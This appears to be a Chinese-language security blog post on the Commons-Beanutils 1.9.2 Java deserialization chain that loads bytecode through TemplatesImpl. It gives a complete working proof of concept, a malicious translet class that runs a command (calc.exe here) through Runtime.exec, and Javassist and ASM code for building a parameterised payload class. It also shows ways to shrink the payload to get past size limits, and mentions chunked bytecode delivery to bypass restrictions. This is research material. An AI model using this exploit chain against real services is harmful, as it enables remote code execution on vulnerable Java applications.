测试环境JDK 8u65+CB 1.9.2打templatesImpl加载字节码
添加pom依赖
1 2 3 4 5 6 7
| <dependencies> <dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.9.2</version> </dependency> </dependencies>
|
测试POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator; import org.apache.commons.beanutils.PropertyUtils;
import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class CBEXP { public static void main(String[] args) throws Exception{ byte[] code = Files.readAllBytes(Paths.get("E:\\JavaClass\\TemplatesBytes.class")); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "C"); setFieldValue(templates, "_bytecodes", new byte[][] {code}); final BeanComparator beanComparator = new BeanComparator(); final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator); queue.add(1); queue.add(1); setFieldValue(beanComparator, "property", "outputProperties"); setFieldValue(queue, "queue", new Object[]{templates, templates}); serialize(queue); unserialize("ser.bin"); }
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
测试需要加载的恶意字节码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Evil extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc.exe"); } catch (Exception e) { e.printStackTrace(); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
} }
|
从字节码层面优化
javap 是 JDK 自带的 Java 类文件反汇编工具,用于查看 .class 文件的字节码信息。它可以显示类的方法、字段、常量池以及 JVM 指令等。
1 2 3
| javap -c -l Evil.class -c 输出类中所有方法的 字节码指令(JVM 操作码) -l 输出局部变量信息
|
javap反汇编如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| public class org.example.Evil extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet { public org.example.Evil(); Code: 0: aload_0 1: invokespecial 4: return LineNumberTable: line 8: 0 LocalVariableTable: Start Length Slot Name Signature 0 5 0 this Lorg/example/Evil;
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM, com.sun.org.apache.xml.internal.serializer.SerializationHandler[]); Code: 0: return LineNumberTable: line 20: 0 LocalVariableTable: Start Length Slot Name Signature 0 1 0 this Lorg/example/Evil; 0 1 1 document Lcom/sun/org/apache/xalan/internal/xsltc/DOM; 0 1 2 handlers [Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler); Code: 0: return LineNumberTable: line 25: 0 LocalVariableTable: Start Length Slot Name Signature 0 1 0 this Lorg/example/Evil; 0 1 1 document Lcom/sun/org/apache/xalan/internal/xsltc/DOM; 0 1 2 iterator Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator; 0 1 3 handler Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;
static {}; Code: 0: invokestatic 3: ldc 5: invokevirtual 8: pop 9: goto 17 12: astore_0 13: aload_0 14: invokevirtual 17: return Exception table: from to target type 0 9 12 Class java/lang/Exception LineNumberTable: line 11: 0 line 14: 9 line 12: 12 line 13: 13 line 15: 17 LocalVariableTable: Start Length Slot Name Signature 13 4 0 e Ljava/lang/Exception; }
|
从上述观察可以发现,除了基本的字节码,还包括三个表,ExceptionTable,LocalVariableTable和LineNumberTable
ExceptionTable(异常表)
JVM 执行时,如果 from 到 to 之间的代码抛出 type 指定的异常,则跳转到 target
LocalVariableTable(局部变量表)
记录方法的局部变量信息,主要用于调试和反射,JVM 执行时不依赖它(貌似正常情况下也可以删掉它,不过存在反射逻辑时可能不能删,有待确定)
LineNumberTable(行号表)
使异常堆栈能显示行号,对生产环境非必需,默认编译时会保留,但可通过 -g:none
移除以减小 .class
文件体积
直接通过编译命令去除LineNumberTable
首先可以直接通过编译时-g:none
命令移除,在设置附件编译行中添加
可以发现明显的缩小了
POC正常运行
基于ASM实现删除LINENUMBER
ASM是一个Java字节码操作和分析框架,它可以直接操作字节码,允许开发者在不修改源代码的情况下动态修改类行为
所需依赖
1 2 3 4 5 6 7 8 9 10
| <dependency> <groupId>org.ow2.asm</groupId> <artifactId>asm</artifactId> <version>9.5</version> </dependency> <dependency> <groupId>org.ow2.asm</groupId> <artifactId>asm-commons</artifactId> <version>9.5</version> </dependency>
|
下面示例使用 ASM 删除字节码中的 LineNumberTable(行号表)可以通过访问 ClassVisitor 并忽略或移除相关属性来实现
具体步骤:
- 创建自定义 ClassVisitor,覆盖 visitMethod 方法,返回一个自定义的 MethodVisitor,用于处理方法体中的行号信息。
- 实现步骤一的MethodVisitor 方法,在 MethodVisitor 中重写 visitLineNumber 方法,不调用父类方法,从而忽略行号信息
- 实现最终处理类文件使用 ClassReader 和 ClassWriter 加载类文件并应用自定义的 ClassVisitor
自定义 ClassVisitor实现
1 2 3 4 5 6 7 8 9 10 11 12 13
| import org.objectweb.asm.*;
public class RemoveLineNumberClassVisitor extends ClassVisitor { public RemoveLineNumberClassVisitor(ClassVisitor cv) { super(Opcodes.ASM9, cv); }
@Override public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) { MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); return new RemoveLineNumberMethodVisitor(mv); } }
|
自定义 MethodVisitor 实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import org.objectweb.asm.Label; import org.objectweb.asm.MethodVisitor; import org.objectweb.asm.Opcodes;
public class RemoveLineNumberMethodVisitor extends MethodVisitor implements Opcodes { public RemoveLineNumberMethodVisitor(MethodVisitor mv) { super(Opcodes.ASM9, mv); }
@Override public void visitLineNumber(int line, Label start) { } }
|
最终处理实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| import org.objectweb.asm.*;
import java.io.ByteArrayOutputStream; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException;
public class LineNumberRemover { public static byte[] removeLineNumbers(byte[] classData) throws IOException { ClassReader cr = new ClassReader(classData); ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS); ClassVisitor cv = new RemoveLineNumberClassVisitor(cw); cr.accept(cv, ClassReader.EXPAND_FRAMES); return cw.toByteArray(); }
public static void main(String[] args) throws IOException { String inputClassPath = "Class.class"; String outputClassPath = "NoLineNumber.class";
byte[] originalClass = readFile(inputClassPath);
byte[] modifiedClass = removeLineNumbers(originalClass);
writeFile(outputClassPath, modifiedClass); System.out.println("LineNumberTable removed successfully!"); }
private static byte[] readFile(String path) throws IOException { try (FileInputStream fis = new FileInputStream(path); ByteArrayOutputStream bos = new ByteArrayOutputStream()) { byte[] buffer = new byte[8192]; int len; while ((len = fis.read(buffer)) != -1) { bos.write(buffer, 0, len); } return bos.toByteArray(); } }
private static void writeFile(String path, byte[] data) throws IOException { try (FileOutputStream fos = new FileOutputStream(path)) { fos.write(data); } } }
|
测试
有趣的是使用ASM删除只小了0.06kb么,远不如直接加编译命令
使用Javassist构造POC
实际上javassist和ASM本质能算同一种,控制层级不同
不是对编译后的class文件下手,而在编译时直接控制,对比编译命令而言的好处是控制权更大
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| private static byte[] getTemplatesImpl(String cmd) { try { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Evil"); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody(" try {\n" + " Runtime.getRuntime().exec(\"" + cmd + "\");\n" + " } catch (Exception ignored) {\n" + " }");
CtMethod ctMethod1 = CtMethod.make(" public void transform(" + "com.sun.org.apache.xalan.internal.xsltc.DOM document, " + "com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) {\n" + " }", ctClass); ctClass.addMethod(ctMethod1);
CtMethod ctMethod2 = CtMethod.make(" public void transform(" + "com.sun.org.apache.xalan.internal.xsltc.DOM document, " + "com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, " + "com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) {\n" + " }", ctClass); ctClass.addMethod(ctMethod2);
byte[] bytes = ctClass.toBytecode(); ctClass.defrost();
return bytes; } catch (Exception e) { e.printStackTrace(); return new byte[]{}; } }
|
删除重写方法
正常来说Evil类继承自AbstractTranslet抽象类,所以必须重写两个transform方法,但实际上这两个重写方法不存在也可以执行代码,仍然可以使用ASM对编译后的类的重写方法进行删除进行一个删除
这里使用javassist在构造类时就不加重写方法测试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor;
import java.io.FileOutputStream; import java.nio.file.Path; import java.nio.file.Paths;
public class EvilClassGenerator {
private static byte[] getTemplatesImpl(String cmd) { try { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody("try { Runtime.getRuntime().exec(\"" + cmd.replace("\"", "\\\"") + "\"); } catch (Exception e) {}");
CtConstructor defaultConstructor = new CtConstructor(new CtClass[0], ctClass); defaultConstructor.setBody("{}"); ctClass.addConstructor(defaultConstructor);
byte[] bytes = ctClass.toBytecode(); ctClass.detach(); return bytes; } catch (Exception e) { e.printStackTrace(); return new byte[0]; } }
private static void saveClassToFile(byte[] bytecode, String filename) throws Exception { Path path = Paths.get(filename); try (FileOutputStream fos = new FileOutputStream(path.toFile())) { fos.write(bytecode); } System.out.println("[+] 文件已保存至: " + path.toAbsolutePath()); }
public static void main(String[] args) throws Exception { byte[] evilClass = getTemplatesImpl("calc.exe");
saveClassToFile(evilClass, "Evil.class");
} }
|
这里生成的evil2比之前还小一半
反序列化evil2仍然能执行
从构造方法和静态代码块下手
代码从静态代码块(<clinit>
)移到空参构造方法(<init>
)中是完全可行的,且能正常运行
所以如果同时存在空参构造方法和静态代码块,可以将其合并,减少空间
使用分块传输手段
在实战中,绕过限制通常采用打入自定义的Classloader加字节码分段传输的手段
用追加的方式发送多个请求往指定文件中写入字节码,将真正需要执行的字节码分块